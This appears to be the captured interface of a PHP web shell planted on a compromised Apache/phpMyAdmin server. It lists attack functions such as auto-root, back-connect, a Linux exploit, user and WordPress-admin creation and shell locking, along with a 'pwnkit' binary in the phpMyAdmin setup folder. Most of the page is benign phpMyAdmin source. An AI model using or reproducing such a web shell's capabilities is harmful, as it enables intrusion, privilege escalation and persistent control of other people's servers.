Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.46
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
src /
Setup /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
ConfigGenerator.php
5.53
KB
-rw-r--r--
FormProcessing.php
2.5
KB
-rw-r--r--
Index.php
4.99
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Index.php
<?php /** * Various checks and message functions used on index page. */ declare(strict_types=1); namespace PhpMyAdmin\Setup; use PhpMyAdmin\Sanitize; use PhpMyAdmin\Version; use PhpMyAdmin\VersionInformation; use function __; use function htmlspecialchars; use function is_array; use function sprintf; use function uniqid; /** * PhpMyAdmin\Setup\Index class * * Various checks and message functions used on index page. */ class Index { /** * Initializes message list */ public static function messagesBegin(): void { if (! isset($_SESSION['messages']) || ! is_array($_SESSION['messages'])) { $_SESSION['messages'] = ['error' => [], 'notice' => []]; } else { // reset message states foreach ($_SESSION['messages'] as &$messages) { foreach ($messages as &$msg) { $msg['fresh'] = false; $msg['active'] = false; } } } } /** * Adds a new message to message list * * @param string $type one of: notice, error * @param string $msgId unique message identifier * @param string $title language string id (in $str array) * @param string $message message text */ public static function messagesSet(string $type, string $msgId, string $title, string $message): void { $fresh = ! isset($_SESSION['messages'][$type][$msgId]); $_SESSION['messages'][$type][$msgId] = [ 'fresh' => $fresh, 'active' => true, 'title' => $title, 'message' => $message, ]; } /** * Cleans up message list */ public static function messagesEnd(): void { foreach ($_SESSION['messages'] as &$messages) { $removeIds = []; foreach ($messages as $id => $msg) { if ($msg['active'] != false) { continue; } $removeIds[] = $id; } foreach ($removeIds as $id) { unset($messages[$id]); } } } /** * Prints message list, must be called after self::messagesEnd() * * @return mixed[] */ public static function messagesShowHtml(): array { $return = []; foreach ($_SESSION['messages'] as $type => $messages) { foreach ($messages as $id => $msg) { $return[] = [ 'id' => $id, 'title' => $msg['title'], 'type' => $type, 'message' => $msg['message'], 'is_hidden' => ! $msg['fresh'] && $type !== 'error', ]; } } return $return; } /** * Checks for newest phpMyAdmin version and sets result as a new notice */ public static function versionCheck(): void { // version check messages should always be visible so let's make // a unique message id each time we run it $messageId = uniqid('version_check'); // Fetch data $versionInformation = new VersionInformation(); $versionData = $versionInformation->getLatestVersions(); if ($versionData === null) { self::messagesSet( 'error', $messageId, __('Version check'), __( 'Reading of version failed. Maybe you\'re offline or the upgrade server does not respond.', ), ); return; } $latestCompatible = $versionInformation->getLatestCompatibleVersion($versionData); if ($latestCompatible == null) { return; } $version = $latestCompatible->version; $date = $latestCompatible->date; $versionUpstream = $versionInformation->versionToInt($version); $versionLocal = $versionInformation->versionToInt(Version::VERSION); if ($versionUpstream > $versionLocal) { $version = htmlspecialchars($version); $date = htmlspecialchars($date); self::messagesSet( 'notice', $messageId, __('Version check'), sprintf(__('A newer version of phpMyAdmin is available and you should consider upgrading.' . ' The newest version is %s, released on %s.'), $version, $date), ); } elseif ($versionLocal % 100 === 0) { self::messagesSet( 'notice', $messageId, __('Version check'), Sanitize::convertBBCode(sprintf(__('You are using Git version, run [kbd]git pull[/kbd]' . ' :-)[br]The latest stable version is %s, released on %s.'), $version, $date)), ); } else { self::messagesSet( 'notice', $messageId, __('Version check'), __('No newer stable version is available'), ); } } }
Close